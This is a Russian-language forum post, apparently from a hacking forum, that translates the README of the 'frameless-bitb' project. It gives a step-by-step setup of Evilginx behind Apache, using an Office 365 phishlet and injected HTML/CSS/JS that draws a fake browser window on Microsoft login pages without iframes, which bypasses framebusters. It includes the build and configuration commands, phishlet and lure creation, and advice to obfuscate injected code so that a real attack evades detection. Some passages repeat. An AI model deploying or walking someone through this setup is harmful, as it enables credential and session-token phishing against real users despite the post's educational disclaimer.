Прошлое обсуждение метода (с фреймами, не везде работает на данный момент): https://xss.pro/threads/68057/post-547281
Новый подход к методу "браузер в браузере" (BITB) без использования iframes, обходит все традиционные "фрейморезки" на стандартных страницах авторизации как у Microsoft.
Этот POC код написан для использования нового метода BITB с Evilginx и фишлетом для Microsoft Enterprise.
До погружения в тему автор рекомендует сначала ознакомиться с его выступлением на BSides 2023, где он впервые представил концепт с важными деталями как провести идеальную фишинговую атаку:
В этот момент в игру вступает атака "браузер в браузере" (BITB). Впервые представленная широкой общественности @mrd0x, концепт BITB заключается в том, чтобы создавать правдоподобное окно браузера, внутри которого атакующий контролирует все содержимое (представляя фальшивый сайт в фрейме). Фальшивая строка ссылки в фальшивом окне браузера представляет собой реальную ссылку сайта, которую посетитель ожидает там увидеть. Вместе с таким инструментом как Evilginx такая атака становится идеальной для правдоподбного фишинга.
Но возникает проблема, потому что в последние месяцы-годы популярные сайты, такие как сервисы Microsoft реализовали различные маленький скрипты, так называемые "фреймо-убийцы" и "фрейморезалки", предназначение которых запретить iframe, которые могут служить для вывода проксированных сайтов, как в случае Evilginx.
В двух словах, Evilginx + BITB для сервисов Microsoft больше не работает. Как минимум не с BITB, основанным на iframe.
Подразумевается, что мы будем сейчас использовать BITB с Evilginx на страницах авторизации таких сервисов как Microsoft.
Evilginx здесь только для примера, но вы можете использовать ту же концепцию с другими инструментами.
Создайте нового пользователя Evilginx user и дайте ему привилегии sudo group:
Проверьте, что этот пользователь evilginx состоит в группе sudo:
Перейдите в пользовательскую домашнюю директорию (home dir):
(У вас теперь есть права sudo user и теперь мы можем провести наши эксперименты локально.)
Загрузите и соберите Evilginx: Official Docs
Скопируйте файлы Evilginx в
Установите: Official Docs
Добавляем:
Проверяем:
Устанавливаем:
Собираем Evilginx:
Создаем новую директорию для нашей установки evilginx вместе с фишлетами и редиректорами:
Копируем сборку, фишлеты и редиректоры:
Быстрый фикс для фаервола Ubuntu (спасибо @kgretzky)
В Ubuntu, если вы получили ошибку Failed to start nameserver on: :53, попробуйте отредактировать этот файл
редактировать/добавить строчку
затем
Поменяйте
Включите моды Apache2, которые мы будем использовать: (Мы также отключим модуль access_compat, потому что он иногда вызывает проблемы)
Запустите и включите Apache:
Проверьте работу сети в Apache и VM - посетите IP-адрес виртуалки через браузер на хост-машине.
Установите git, если он еще не установлен:
Клонируйте репо автора:
Копируйте директории для каждой страницы:
Опционально: Удалите страницу по-умолчанию в Apache (не используется):
Скопируйте фишлет О365 в директорию для фишлетов:
Опционально: Для того, чтобы использовать виджет Calendly на своем аккаунте вместо установленного мной, перейдите на
Примечание для демо обфускации (Demo Obfuscation): Как я объясняю в видео, я включил минимальную обфускацию для текстового содержимого, такого как ссылки и заголовка в BITB. Вы можете открыть мой демо обфускатор в браузере, посетив
Так как мы запускаем все локально, мы должны сгенерировать самоподписанные SSL сертификаты для использования их через Apache. Для Evilginx сертификаты не требуются, так как мы запускаем его в режиме разработчика.
Мы будем использовать домен
Создайте директорию и родительские директории, если они еще не созданы:
Сгенерируйте SSL сертификаты, используя конфиг OpenSSL:
Поменяйте права для личного ключа:
Важное замечание: в это репо я включил два конфига дополнений (substitution) для Chrome на Mac и Chrome на Windows BITB. Оба имеют авто-детект и стили для светлого/темного режимов и они могут использоваться как базовые шаблоны, чтобы достичь тех же самых результатов для других браузеров и операционных систем. Так как я не включаю автоматически детект комбинаций браузера/ОС посетителей нашей фишинговой страницы, вам нужно будет реализовать его самим, исходя из своей собственной логики и задач.
Оба конфига файлов в /apache-configs/ одинаковые, с тем различием что разная директива Include использована для файла дополнения (substitution), который будет включен туда (в каждом файле 2 отсылки на него)
Для того, чтобы все сделать проще, автор включил две версии как два разных файла в следующем шаге.
Windows/Chrome BITB:
Mac/Chrome BITB:
Проведем тест конфигов Аpache, чтобы убедиться, что они не содержат ошибок:
Перезагрузим Apache, чтобы применить изменения:
Теперь мы должны добавить несколько новых записей в наш файл hosts, чтобы припарковать наш домен для этого теста -
В Windows:
Откройте Notepad как Администратор (Search > Notepad > правый клик > Run as Administrator)
Нажмите на опцию File (левый верхний угол) и скопируйте в адресную строку File Explorer:
Поменяйте тип файлов (правый нижний угол) на "All files".
Два раза нажмите на файл с именем
В Mac:
Откройте терминал и введите следующее:
Теперь отредактируйте следующие записи (замените
Сохраните и закройте.
Теперь перезагрузите ваш браузер до перехода к следующему шагу.
Примечание: в Mac используйте следующую команду для сброса кэша DNS:
Для этого шага просто проще следовать инструкциям с видео автора, но мы распишем суть здесь.
Откройте
Не обращайте внимания на предупреждение Unsafe Site и перейдите дальше на страницу.
Нажмите на иконку SSL > Details > Export Certificate IMPORTANT: Когда сохраняете, имя ДОЛЖНО заканчиваться на .crt, чтобы не было проблем при открытии в Windows.
Нажмите два раза > установите для текущего пользователя. НЕ выбирайте место по-умолчанию, вместо этого сохраните сертификат в специализированном хранилище: выберите "Trusted Route Certification Authorities".
On Mac: установите только для текущего пользователя > выберите "Keychain: login" И нажмите на "View Certificates" > details > trust > Always trust
Теперь ПЕРЕЗАГРУЗИТЕ ваш браузер
Вы должны теперь видеть страницу
Опционально: установить tmux (позволить поддерживать работу evilginx, даже если сесия в терминале закрыта. Особенно полезно на удаленном VM.)
Запустите Evilginx в режиме разработчика (используем tmux, чтобы не потерять сессию):
(Для пере-прикрепления к сессии tmux используйте
Конфиг Evilginx:
ВАЖНО: настройте режим Evilginx Blacklist на NoAdd для избежания попадания процессов Apache в черный список, так как все запросы будут приходить от Apache, а не настоящего посетителя с IP.
Настроим Phishlet и приманку:
Скопируйте ссылку страницы-приманки и посетите ее в своем браузере (используйте гостевого пользователя в Chrome, чтобы избежать необходимость каждый раз удалять сохраненные данные и кэша между тестами).
Курс мастерства Evilginx от его создателя @kgretzky:https://academy.breakdev.org/evilginx-mastery
Доклад автора на BSides 2023:
Как защитить Evilginx используя Cloudflare и обфускацию HTML:https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Ресурсы Evilginx для Microsoft 365 от @BakkerJan:https://janbakker.tech/evilginx-resources-for-microsoft-365/
Автор:
Новый подход к методу "браузер в браузере" (BITB) без использования iframes, обходит все традиционные "фрейморезки" на стандартных страницах авторизации как у Microsoft.
Этот POC код написан для использования нового метода BITB с Evilginx и фишлетом для Microsoft Enterprise.
До погружения в тему автор рекомендует сначала ознакомиться с его выступлением на BSides 2023, где он впервые представил концепт с важными деталями как провести идеальную фишинговую атаку:
Примечание
Представленный инструмент предназначен только для образовательных и исследовательских целей. Ниже будет продемонстрирован метод под названием "браузер в браузере" без использования iframe (BITB). Автор снимает с себя ответственность за любые последствия. Используйте метод только легально и этично, в контроллируемых средах для целей тестирования систем инфозащиты. Используя данный инструмент, вы соглашаетесь делать это ответственно с пониманием того, что вы несете все риски использования.С чего все началось и почему
На протяжение последнего года автор экспериментировал с различными трюками, чтобы подготовиться к "идеальной" фишинг-атаке. Типичные "красные флаги", на которые людей обычно учат обращать внимание, это срочность (действия), угрозы (получателю), авторитет (ссылки), плохая грамматика (текста) и т. д. Следующая рекомендуемая вещь - проверить ссылку сайта, с которым идет взаимодействие, поэтому люди обычно очень осторожны в момент, когда их просят ввести чувствительные данные, такие как электронная почта или пароли.В этот момент в игру вступает атака "браузер в браузере" (BITB). Впервые представленная широкой общественности @mrd0x, концепт BITB заключается в том, чтобы создавать правдоподобное окно браузера, внутри которого атакующий контролирует все содержимое (представляя фальшивый сайт в фрейме). Фальшивая строка ссылки в фальшивом окне браузера представляет собой реальную ссылку сайта, которую посетитель ожидает там увидеть. Вместе с таким инструментом как Evilginx такая атака становится идеальной для правдоподбного фишинга.
Но возникает проблема, потому что в последние месяцы-годы популярные сайты, такие как сервисы Microsoft реализовали различные маленький скрипты, так называемые "фреймо-убийцы" и "фрейморезалки", предназначение которых запретить iframe, которые могут служить для вывода проксированных сайтов, как в случае Evilginx.
В двух словах, Evilginx + BITB для сервисов Microsoft больше не работает. Как минимум не с BITB, основанным на iframe.
Что делать?
Организуем "браузер в браузере" без каких-либо iframe! Именно так.Подразумевается, что мы будем сейчас использовать BITB с Evilginx на страницах авторизации таких сервисов как Microsoft.
Evilginx здесь только для примера, но вы можете использовать ту же концепцию с другими инструментами.
Как?
Фрейморезалки направлены в первую очередь на iframe, поэтому наша идея - воссоздать эффект BITB без использования iframes и без нарушения оригинальной структуры содержания проксированной страницы. Это может быть достигнуто путем инъекции скриптов и HTML помимо исходного контента, используя поиск (search) и замену (replace) (известные как substitutions), полагаясь всецело на трюки HTML/CSS/JS для достижения визуального эффекта. Мы также будем использовать еще один трюк под названием "теневой DOM" ("Shadow DOM") в HTML для размещения нашего контента на посадочной странице (фоном) таким образом, что он (контент) не будет взаимодействовать с проксированным содержимым, позволяя нам гибко использовать любую посадочную страницу с минимальными дополнительными JS скриптами.Инструкции
Видео
Локальная VM:
Создайте локальную виртуалку Linux. (Я лично предпочитаю использовать Ubuntu 22 на VMWare Player или Parallels Desktop)sudo apt update && sudo apt upgrade -yНастройка Evilginx
Опционально:Создайте нового пользователя Evilginx user и дайте ему привилегии sudo group:
sudo suadduser evilginxusermod -aG sudo evilginxПроверьте, что этот пользователь evilginx состоит в группе sudo:
su - evilginxsudo ls -la /rootПерейдите в пользовательскую домашнюю директорию (home dir):
cd /home/evilginx(У вас теперь есть права sudo user и теперь мы можем провести наши эксперименты локально.)
Настройка Evilginx
Загрузите и соберите Evilginx: Official Docs
Скопируйте файлы Evilginx в
/home/evilginxУстановите: Official Docs
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gzsudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gznano ~/.profileДобавляем:
export PATH=$PATH:/usr/local/go/binsource ~/.profileПроверяем:
go versionУстанавливаем:
sudo apt install makeСобираем Evilginx:
cd /home/evilginx/evilginx2makeСоздаем новую директорию для нашей установки evilginx вместе с фишлетами и редиректорами:
mkdir /home/evilginx/evilginxКопируем сборку, фишлеты и редиректоры:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginxcp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectorscp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishletsБыстрый фикс для фаервола Ubuntu (спасибо @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginxВ Ubuntu, если вы получили ошибку Failed to start nameserver on: :53, попробуйте отредактировать этот файл
sudo nano /etc/systemd/resolved.confредактировать/добавить строчку
DNSStubListener на no > DNSStubListener=noзатем
sudo systemctl restart systemd-resolvedРедактируем конфиг Evilginx:
Так как мы будем использовать Apache2 до Evilginx, нам нужно поставить листенер Evilginx на порт, отличный от 443.nano ~/.evilginx/config.jsonПоменяйте
https_port c 443 на 8443Установка Apache2 с модами:
Установите Apache2:sudo apt install apache2 -yВключите моды Apache2, которые мы будем использовать: (Мы также отключим модуль access_compat, потому что он иногда вызывает проблемы)
Код:
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Запустите и включите Apache:
sudo systemctl start apache2sudo systemctl enable apache2Проверьте работу сети в Apache и VM - посетите IP-адрес виртуалки через браузер на хост-машине.
Клонируйте репо:
Установите git, если он еще не установлен:
sudo apt -y install gitКлонируйте репо автора:
git clone https://github.com/waelmas/frameless-bitbcd frameless-bitbНастройка страниц Apache:
Сделаем директории для страниц, которые мы будем показывать:- домашняя (home): (Опционально) Домашняя страница (на главном домене)
- основная (primary): Посадочная страница (в фоне)
- вторичная (secondary): окно BITB (на первом плане)
Код:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Копируйте директории для каждой страницы:
sudo cp -r ./pages/home/ /var/www/sudo cp -r ./pages/primary/ /var/www/sudo cp -r ./pages/secondary/ /var/www/Опционально: Удалите страницу по-умолчанию в Apache (не используется):
sudo rm -r /var/www/html/Скопируйте фишлет О365 в директорию для фишлетов:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yamlОпционально: Для того, чтобы использовать виджет Calendly на своем аккаунте вместо установленного мной, перейдите на
pages/primary/script.js и поменяйте CALENDLY_PAGE_NAME и CALENDLY_EVENT_TYPE.Примечание для демо обфускации (Demo Obfuscation): Как я объясняю в видео, я включил минимальную обфускацию для текстового содержимого, такого как ссылки и заголовка в BITB. Вы можете открыть мой демо обфускатор в браузере, посетив
demo-obfuscator.html. В настоящей атаке я бы очень рекомендовал обфусцировать большие куски HTML кода, куда вы делаете инъекции, или использовать JS трюки, чтобы предотвратить детекты и пометки в браузере. Усовершенствованная версия, над которой работает автор, будет использовать более продвинутые технологии, дабы сделать практически невозможным для сканнеров сделать сигнатуры и определить BITB код, следите за новостями.Самоподписанные SSL сертификаты:
Так как мы запускаем все локально, мы должны сгенерировать самоподписанные SSL сертификаты для использования их через Apache. Для Evilginx сертификаты не требуются, так как мы запускаем его в режиме разработчика.
Мы будем использовать домен
fake.com ведующий на нашу локальную VM. Если вы хотите использовать другой домен, будьте уверены, что вы поменяли его во всех файлах (Файлы Apache conf, JS файлы и т.д.)Создайте директорию и родительские директории, если они еще не созданы:
sudo mkdir -p /etc/ssl/localcerts/fake.com/Сгенерируйте SSL сертификаты, используя конфиг OpenSSL:
Код:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Поменяйте права для личного ключа:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pemРазные конфиги Apache:
Скопируйте разные файлы дополнений (substitution files) (это будет основа нашего метода):sudo cp -r ./custom-subs /etc/apache2/custom-subsВажное замечание: в это репо я включил два конфига дополнений (substitution) для Chrome на Mac и Chrome на Windows BITB. Оба имеют авто-детект и стили для светлого/темного режимов и они могут использоваться как базовые шаблоны, чтобы достичь тех же самых результатов для других браузеров и операционных систем. Так как я не включаю автоматически детект комбинаций браузера/ОС посетителей нашей фишинговой страницы, вам нужно будет реализовать его самим, исходя из своей собственной логики и задач.
Оба конфига файлов в /apache-configs/ одинаковые, с тем различием что разная директива Include использована для файла дополнения (substitution), который будет включен туда (в каждом файле 2 отсылки на него)
Код:
# Снимите комментарий с того файла, который вы хотите использовать и не забудьте перезагрузить Apache после любых изменений:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Для того, чтобы все сделать проще, автор включил две версии как два разных файла в следующем шаге.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.confMac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.confПроведем тест конфигов Аpache, чтобы убедиться, что они не содержат ошибок:
sudo apache2ctl configtestПерезагрузим Apache, чтобы применить изменения:
sudo systemctl restart apache2Редактируем Hosts:
Получим IP-адрес VM черезifconfig и сохраним его где-нибудь для следующего шага.Теперь мы должны добавить несколько новых записей в наш файл hosts, чтобы припарковать наш домен для этого теста -
fake.com, а также все сабдомены для VM, на котором работают Apache и Evilginx.В Windows:
Откройте Notepad как Администратор (Search > Notepad > правый клик > Run as Administrator)
Нажмите на опцию File (левый верхний угол) и скопируйте в адресную строку File Explorer:
C:\Windows\System32\drivers\etc\Поменяйте тип файлов (правый нижний угол) на "All files".
Два раза нажмите на файл с именем
hostsВ Mac:
Откройте терминал и введите следующее:
sudo nano /private/etc/hostsТеперь отредактируйте следующие записи (замените
[IP] на IP-адрес вашей VM) и вставьте в конец файла hosts:
Код:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Сохраните и закройте.
Теперь перезагрузите ваш браузер до перехода к следующему шагу.
Примечание: в Mac используйте следующую команду для сброса кэша DNS:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponderВажное примечание:
Демо выполнено с помощью предоставленного в наборе Evilginx фишлета Office 365 Enterprise. Чтобы получить записи host для другого фишлета, используйтеphishlet get-hosts [PHISHLET_NAME], но не забывайте заменить 127.0.0.1 на реальный локальный IP-адрес вашей VM.Доверие к самоподписанным SSL сертификатам:
По причине того, что сейчас мы используем самоподписанные SSL сертификаты, при посещенииfake.com наш браузер будет каждый раз предупреждать нас об этом, поэтому нам нужно заставить нашу хост-машину доверять сертификационному центру, что подписал наши SSL сертификаты.Для этого шага просто проще следовать инструкциям с видео автора, но мы распишем суть здесь.
Откройте
https://fake.com/ в вашем браузере Chrome.Не обращайте внимания на предупреждение Unsafe Site и перейдите дальше на страницу.
Нажмите на иконку SSL > Details > Export Certificate IMPORTANT: Когда сохраняете, имя ДОЛЖНО заканчиваться на .crt, чтобы не было проблем при открытии в Windows.
Нажмите два раза > установите для текущего пользователя. НЕ выбирайте место по-умолчанию, вместо этого сохраните сертификат в специализированном хранилище: выберите "Trusted Route Certification Authorities".
On Mac: установите только для текущего пользователя > выберите "Keychain: login" И нажмите на "View Certificates" > details > trust > Always trust
Теперь ПЕРЕЗАГРУЗИТЕ ваш браузер
Вы должны теперь видеть страницу
https://fake.com без всяких SSL предупреждений.Запуск Evilginx:
На этой стадии все должно быть готово, чтобы мы могли успешно запустить Evilginx, настроить фишлет, создать нашу приманку и протестировать ее.Опционально: установить tmux (позволить поддерживать работу evilginx, даже если сесия в терминале закрыта. Особенно полезно на удаленном VM.)
sudo apt install tmux -yЗапустите Evilginx в режиме разработчика (используем tmux, чтобы не потерять сессию):
tmux new-session -s evilginxcd ~/evilginx/./evilginx -developer(Для пере-прикрепления к сессии tmux используйте
tmux attach-session -t evilginx)Конфиг Evilginx:
config domain fake.comconfig ipv4 127.0.0.1ВАЖНО: настройте режим Evilginx Blacklist на NoAdd для избежания попадания процессов Apache в черный список, так как все запросы будут приходить от Apache, а не настоящего посетителя с IP.
blacklist noaddНастроим Phishlet и приманку:
phishlets hostname O365 fake.comphishlets enable O365lures create O365lures get-url 0Скопируйте ссылку страницы-приманки и посетите ее в своем браузере (используйте гостевого пользователя в Chrome, чтобы избежать необходимость каждый раз удалять сохраненные данные и кэша между тестами).
Полезные ссылки
Оригинальный BITB на фреймах от @mrd0x:https://github.com/mrd0x/BITBКурс мастерства Evilginx от его создателя @kgretzky:https://academy.breakdev.org/evilginx-mastery
Доклад автора на BSides 2023:
Ресурсы Evilginx для Microsoft 365 от @BakkerJan:https://janbakker.tech/evilginx-resources-for-microsoft-365/
Автор:
GitHub - waelmas/frameless-bitb: A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft and the use with Evilginx.
A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft and the use with Evilginx. - wa...
github.com
GitHub - waelmas/frameless-bitb: A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft and the use with Evilginx.
A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft and the use with Evilginx. - wa...